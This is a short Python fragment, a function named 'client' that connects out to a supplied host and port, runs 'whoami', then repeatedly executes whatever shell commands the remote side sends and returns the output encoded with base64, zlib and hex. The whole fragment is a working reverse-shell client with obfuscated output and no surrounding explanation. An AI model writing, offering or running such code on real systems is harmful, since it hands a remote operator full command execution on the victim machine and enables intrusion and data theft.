def client(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    print('Connected to host {} and port {}'.format(host, port))
    try:
        command = 'whoami'
        while True:
            result = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
            data = result.stdout.read()
            data = base64.b64encode(data)
            data = zlib.compress(data)
            data = binascii.b2a_hex(data)
            sock.send(data)
            command = str(sock.recv(1024))
            command = command.strip("b'")
            if command == 'exit':
                break
    except Exception as e:
        print(e)